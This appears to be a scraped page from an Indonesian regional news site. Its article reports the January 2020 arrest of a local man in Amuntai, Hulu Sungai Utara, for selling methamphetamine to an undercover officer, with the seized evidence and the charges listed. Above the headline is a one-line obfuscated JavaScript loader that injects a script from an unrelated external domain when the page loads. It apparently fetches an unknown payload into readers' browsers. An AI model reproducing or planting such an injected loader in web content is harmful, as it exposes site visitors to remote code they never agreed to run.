(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Edarkan Sabu, Sabirin Diringkus Polsek Amuntai Kota


KANALKALIMANTAN.COM, AMUNTAI – Kepolisian Sektor Amuntai Kota yang dibackup Buser Polres Hulu Sungai Utara (HSU) kembali meringkus pengedar narkotika jenis sabu di warung Desa Harus, Kecamatan Amuntai Tengah, Rabu (29/1/2020) sekitar pukul  14.30 Wita.

Tersangka yang diketahui bernama Sabirin alias Birin (28) warga Desa Harus, Kecamatan Amuntai Tengah, HSU. Ia tak berkutik ketika tertangkap tangan sedang melakukan transaksi atau menjual  sabu kepada anggota polisi yang sedang menyamar.

Kapolres HSU AKBP Ahmad Arif Sopiyan melalui Kapolsek Amuntai Kota Ipda Syaifullah kepada kanalkalimantan.com, Kamis (30/1/2020) membenarkan adanya penangkapan terhadap pengedar sabu-sabu tersebut.

Alhasil, dari penangkapan tersangka disertai penggeledahan disitalah barang bukti  4 bungkus/paket plastik piper clip  yang diduga sabu sabu dengan Berat Kotor keseluruhan 4,26 Gram dan  Berat Bersih keseluruhan 3,54 gram. Sedangkan barang bukti lain yang juga disita adalah 2 kotak rokok U Mild dan 1 HP merk REALME warna biru.

Penangkapan tersangka sendiri, Menurut Kapolsek merupakan hasil tindak lanjut dari informasi masyatakat  setempat yang resah lantaran pelaku seringkali melakukan transaksi narkoba di wilayah tersebut.

“Sementara sasaran pembelinya selama ini ditujukan kepada pemuda sekitar maupun rekan-rekannya yang sudah ia kenal khususnya warga Amuntai,” ujar Kapolsek Amuntai Kota Ipda Syaifullah.

Dari hasil investigasi, menurut keterangan tersangka barang berasal dari BR. Namun saat dilakukan penelusuran pada waktu itu keberadaan si bandar sudah tidak ada di tempat.

Saat ini tersangka beserta barang bukti  harus mendekam di tahanan Mapolsek Amuntai Kota guna proses lebih lanjut. Pelaku sendiri bakal dijerat Pasal 114 Ayat (1) jo pasal 132 ayat (1) atau Pasal 112 ayat (1) UU RI No. 35 Tahun 2009 Tentang Narkotika. (kanalkalimantan.com/dew)

Reporter : Dew
Editor : Cell

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.